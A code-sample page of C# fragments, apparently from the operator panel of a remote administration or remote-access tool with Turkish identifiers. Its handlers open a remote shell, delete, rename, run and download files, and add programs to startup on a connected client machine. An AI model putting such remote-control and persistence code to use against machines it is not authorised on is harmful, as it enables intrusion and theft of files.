Ejemplo n.º 1
0
        private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (_connectClient != null)
            {
                string path = _currentDir;
                if (lstDirectory.SelectedItems.Count == 1)
                {
                    var          item = lstDirectory.SelectedItems[0];
                    DizinTürleri type = (DizinTürleri)item.Tag;

                    if (type == DizinTürleri.Klasör)
                    {
                        path = GetAbsolutePath(item.SubItems[0].Text);
                    }
                }

                if (_connectClient.Value.FrmRs != null)
                {
                    new KuuhakuCekirdek.Paketler.ServerPaketleri.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient);
                    _connectClient.Value.FrmRs.Focus();
                }
                else
                {
                    FrmUzakKabuk frmRS = new FrmUzakKabuk(_connectClient);
                    frmRS.Show();
                    new KuuhakuCekirdek.Paketler.ServerPaketleri.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient);
                }
            }
        }
Ejemplo n.º 2
0
        private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int count = lstDirectory.SelectedItems.Count;

            if (count == 0)
            {
                return;
            }
            if (MessageBox.Show(string.Format("Bu dosyaları silmek istediğinizden emin misiniz {0} dosya(lar)?", count),
                                "Silme Onayı", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
            {
                foreach (ListViewItem files in lstDirectory.SelectedItems)
                {
                    DizinTürleri type = (DizinTürleri)files.Tag;

                    switch (type)
                    {
                    case DizinTürleri.Klasör:
                    case DizinTürleri.Dosya:
                        string path = GetAbsolutePath(files.SubItems[0].Text);
                        if (_connectClient != null)
                        {
                            new KuuhakuCekirdek.Paketler.ServerPaketleri.DoPathDelete(path, type).Execute(_connectClient);
                        }
                        break;
                    }
                }
            }
        }
Ejemplo n.º 3
0
        private void renameToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (ListViewItem files in lstDirectory.SelectedItems)
            {
                DizinTürleri type = (DizinTürleri)files.Tag;

                switch (type)
                {
                case DizinTürleri.Klasör:
                case DizinTürleri.Dosya:
                    string path    = GetAbsolutePath(files.SubItems[0].Text);
                    string newName = files.SubItems[0].Text;

                    if (InputBox.Show("Yeni isim", "Yeni isim giriniz:", ref newName) == DialogResult.OK)
                    {
                        newName = GetAbsolutePath(newName);

                        if (_connectClient != null)
                        {
                            new KuuhakuCekirdek.Paketler.ServerPaketleri.DoPathRename(path, newName, type).Execute(_connectClient);
                        }
                    }
                    break;
                }
            }
        }
Ejemplo n.º 4
0
        private void executeToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (ListViewItem files in lstDirectory.SelectedItems)
            {
                DizinTürleri type = (DizinTürleri)files.Tag;

                if (type == DizinTürleri.Dosya)
                {
                    string path = GetAbsolutePath(files.SubItems[0].Text);

                    if (_connectClient != null)
                    {
                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoProcessStart(path).Execute(_connectClient);
                    }
                }
            }
        }
Ejemplo n.º 5
0
        public void AddItemToFileBrowser(string name, string size, DizinTürleri type, int imageIndex)
        {
            try
            {
                ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != DizinTürleri.Geri) ? type.ToString() : string.Empty })
                {
                    Tag        = type,
                    ImageIndex = imageIndex
                };

                lstDirectory.Invoke((MethodInvoker) delegate
                {
                    lstDirectory.Items.Add(lvi);
                });
            }
            catch (InvalidOperationException)
            {
            }
        }
Ejemplo n.º 6
0
        private void lstDirectory_DoubleClick(object sender, EventArgs e)
        {
            if (_connectClient != null && _connectClient.Value != null && lstDirectory.SelectedItems.Count > 0)
            {
                DizinTürleri type = (DizinTürleri)lstDirectory.SelectedItems[0].Tag;

                switch (type)
                {
                case DizinTürleri.Geri:
                    SetCurrentDir(Path.GetFullPath(Path.Combine(_currentDir, @"..\")));
                    RefreshDirectory();
                    break;

                case DizinTürleri.Klasör:
                    SetCurrentDir(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text));
                    RefreshDirectory();
                    break;
                }
            }
        }
Ejemplo n.º 7
0
        private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (ListViewItem files in lstDirectory.SelectedItems)
            {
                DizinTürleri type = (DizinTürleri)files.Tag;

                if (type == DizinTürleri.Dosya)
                {
                    string path = GetAbsolutePath(files.SubItems[0].Text);

                    int id = DosyaYardımcısı.GetNewTransferId(files.Index);

                    if (_connectClient != null)
                    {
                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoDownloadFile(path, id).Execute(_connectClient);

                        AddTransfer(id, "İndir", "Bekleniyor...", files.SubItems[0].Text);
                    }
                }
            }
        }
Ejemplo n.º 8
0
        private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (ListViewItem files in lstDirectory.SelectedItems)
            {
                DizinTürleri type = (DizinTürleri)files.Tag;

                if (type == DizinTürleri.Dosya)
                {
                    string path = GetAbsolutePath(files.SubItems[0].Text);

                    using (var frm = new FrmBaşlangıcaEkle(path))
                    {
                        if (frm.ShowDialog() == DialogResult.OK)
                        {
                            if (_connectClient != null)
                            {
                                new KuuhakuCekirdek.Paketler.ServerPaketleri.DoStartupItemAdd(Başlangıçİtemleri.Name, Başlangıçİtemleri.Path,
                                                                                              Başlangıçİtemleri.Type).Execute(_connectClient);
                            }
                        }
                    }
                }
            }
        }
Ejemplo n.º 9
0
 public DoPathDelete(string path, DizinTürleri pathtype)
 {
     this.Path         = path;
     this.DizinTürleri = pathtype;
 }
Ejemplo n.º 10
0
 public DoPathRename(string path, string newpath, DizinTürleri pathtype)
 {
     this.Path     = path;
     this.NewPath  = newpath;
     this.PathType = pathtype;
 }